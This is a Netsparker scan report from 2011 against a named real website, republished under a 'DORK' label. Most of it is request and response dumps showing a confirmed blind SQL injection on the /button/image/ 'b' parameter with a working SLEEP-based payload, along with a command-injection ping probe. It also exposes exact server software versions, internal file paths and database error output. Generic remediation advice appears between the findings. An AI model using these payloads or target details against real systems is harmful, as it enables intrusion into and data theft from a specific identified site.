SQL Injection, CWE-89, CAPEC-66, DORK, www.socialfollow.com

DORK, SQL Injection, LFI, www.socialfollow.com REPORT SUMMARY

Loading

Netsparker - Scan Report Summary
TARGET URL
http://www.socialfollow.com/button/image/?b=1...
SCAN DATE
4/20/2011 9:09:08 PM
REPORT DATE
4/20/2011 9:26:30 PM
SCAN DURATION
00:03:38

Total Requests

Average Speed

req/sec.
12
identified
2
confirmed
2
critical
2
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
17 %
IMPORTANT
8 %
LOW
58 %
INFORMATION
17 %

GHDB, DORK VULNERABILITIES

GHDB, DORK VULNERABILITIES
URL Parameter Method Vulnerability Confirmed
/button/image/ b GET Blind SQL Injection Yes
b GET [Probable] SQL Injection No
[Possible] Local File Inclusion No
Apache Version Disclosure No
PHP Version Disclosure No
OpenSSL Version Disclosure No
Apache Module Version Disclosure No
Perl Version Disclosure No
b GET Database Error Message No
b GET Programming Error Message No
MySQL Database Identified Yes
[Possible] Internal Path Leakage (*nix) No
Blind SQL Injection

Blind SQL Injection

1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed us to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate the all dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /button/image/

/button/image/ CONFIRMED

http://www.socialfollow.com/button/image/?b=-111%20OR%20SLEEP(25)=0%20LIMIT%201--+

Parameters

Parameter Type Value
b GET -111 OR SLEEP(25)=0 LIMIT 1--

Request

GET /button/image/?b=-111%20OR%20SLEEP(25)=0%20LIMIT%201--+ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 02:09:09 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Last-Modified: Wed, 20 Apr 2011 21:09:34 -0500
Accept-Ranges: bytes
Content-Length: 1190
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: image/gif


[Probable] SQL Injection

[Probable] SQL Injection

1 TOTAL
CRITICAL
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /button/image/

/button/image/

http://www.socialfollow.com/button/image/?b=%2527

Parameters

Parameter Type Value
b GET %27

Request

GET /button/image/?b=%2527 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 02:09:09 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 1288
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/html


<br /><b>Warning</b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>3</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>5</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>6</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>7</b><br /><br /><b>Warning</b>: file_get_contents(../../images/button/.gif) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: No such file or directory in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>8</b><br />
[Possible] Local File Inclusion

[Possible] Local File Inclusion

1 TOTAL
IMPORTANT
A Local File Inclusion (LFI) vulnerability occurs when a file from the target system is injected into attacked server page.

Impact

Impact can differ based on the exploitation and the read permission of the web server user. Depends on these factors an attacker might carry out one or more of the following attacks:

Remedy

- /button/image/

/button/image/

http://www.socialfollow.com/button/image/?b=%22%26%20ping%20-n%2026%20127.0.0.1%20%26

Identified Error Message

file_get_contents(../../images/button/.gif) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream:

Request

GET /button/image/?b=%22%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 02:09:08 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 1288
Content-Type: text/html


<br /><b>Warning</b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>3</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>5</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>6</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>7</b><br /><br /><b>Warning</b>: file_get_contents(../../images/button/.gif) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: No such file or directory in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>8</b><br />
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /button/image/

/button/image/

http://www.socialfollow.com/button/image/?b=1649

Extracted Version

2.2.8 (Ubuntu)

Request

GET /button/image/?b=1649 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 02:09:07 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Last-Modified: Wed, 20 Apr 2011 21:09:07 -0500
Accept-Ranges: bytes
Content-Length: 1085
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: image/gif


PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /button/image/

/button/image/

http://www.socialfollow.com/button/image/?b=1649

Extracted Version

PHP/5.2.4

Request

GET /button/image/?b=1649 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 02:09:07 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Last-Modified: Wed, 20 Apr 2011 21:09:07 -0500
Accept-Ranges: bytes
Content-Length: 1085
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: image/gif


OpenSSL Version Disclosure

OpenSSL Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing OpenSSL version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks.

Impact

An attacker can look for specific security vulnerabilities for the identified version. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /button/image/

/button/image/

http://www.socialfollow.com/button/image/?b=1649

Extracted Version

OpenSSL/0.9.8g

Request

GET /button/image/?b=1649 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 02:09:07 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Last-Modified: Wed, 20 Apr 2011 21:09:07 -0500
Accept-Ranges: bytes
Content-Length: 1085
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: image/gif


Apache Module Version Disclosure

Apache Module Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing one of the Apache modules version. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can look for specific security vulnerabilities for the identified Apache module version. The attacker can also use this information in conjunction with the other vulnerabilities in the application or the web server.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /button/image/

/button/image/

http://www.socialfollow.com/button/image/?b=1649

Extracted Version

mod_perl/2.0.3

Request

GET /button/image/?b=1649 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 02:09:07 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Last-Modified: Wed, 20 Apr 2011 21:09:07 -0500
Accept-Ranges: bytes
Content-Length: 1085
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: image/gif


Perl Version Disclosure

Perl Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the Perl version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks.

Impact

An attacker can look for specific security vulnerabilities for the identified version of Perl. Also the attacker can use this information in conjunction with other identified vulnerabilities in the application or the web server.

Remediation

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /button/image/

/button/image/

http://www.socialfollow.com/button/image/?b=1649

Extracted Version

Perl/v5.8.

Request

GET /button/image/?b=1649 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 02:09:07 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Last-Modified: Wed, 20 Apr 2011 21:09:07 -0500
Accept-Ranges: bytes
Content-Length: 1085
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: image/gif


Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /button/image/

/button/image/

http://www.socialfollow.com/button/image/?b=%22%26%20ping%20-n%2026%20127.0.0.1%20%26

Parameters

Parameter Type Value
b GET "& ping -n 26 127.0.0.1 &

Request

GET /button/image/?b=%22%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 02:09:08 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 1288
Content-Type: text/html


<br /><b>Warning</b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>3</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>5</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>6</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>7</b><br /><br /><b>Warning</b>: file_get_contents(../../images/button/.gif) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: No such file or directory in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>8</b><br />
Programming Error Message

Programming Error Message

1 TOTAL
LOW
Netsparker identified a programming error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. Source code, stack trace, etc. type data may be disclosed. Most of these issues will be identified and reported separately by Netsparker.

Remedy

Do not provide error messages on production environments. Save error messages with a reference number to a backend storage such as a log, text file or database then show this number and a static user-friendly error message to the user.
- /button/image/

/button/image/

http://www.socialfollow.com/button/image/?b=%22%26%20ping%20-n%2026%20127.0.0.1%20%26

Parameters

Parameter Type Value
b GET "& ping -n 26 127.0.0.1 &

Identified Error Message

Request

GET /button/image/?b=%22%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 02:09:08 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 1288
Content-Type: text/html


<br /><b>Warning</b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>3</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>5</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>6</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>7</b><br /><br /><b>Warning</b>: file_get_contents(../../images/button/.gif) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: No such file or directory in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>8</b><br />
MySQL Database Identified

MySQL Database Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /button/image/

/button/image/ CONFIRMED

http://www.socialfollow.com/button/image/?b=-111%20OR%20SLEEP(25)=0%20LIMIT%201--+

Request

GET /button/image/?b=-111%20OR%20SLEEP(25)=0%20LIMIT%201--+ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 02:09:09 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Last-Modified: Wed, 20 Apr 2011 21:09:34 -0500
Accept-Ranges: bytes
Content-Length: 1190
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: image/gif


[Possible] Internal Path Leakage (*nix)

[Possible] Internal Path Leakage (*nix)

1 TOTAL
INFORMATION
Netsparker identified an internal path in the document.

Impact

There is no direct impact however this information can help an attacker during the exploitation of some other vulnerabilities.

Remediation

External References

- /button/image/

/button/image/

http://www.socialfollow.com/button/image/?b=%22%26%20ping%20-n%2026%20127.0.0.1%20%26

Identified Internal Path(s)

Request

GET /button/image/?b=%22%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.socialfollow.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 21 Apr 2011 02:09:08 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 1288
Content-Type: text/html


<br /><b>Warning</b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>3</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>5</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>6</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php:3) in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>7</b><br /><br /><b>Warning</b>: file_get_contents(../../images/button/.gif) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: No such file or directory in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>8</b><br />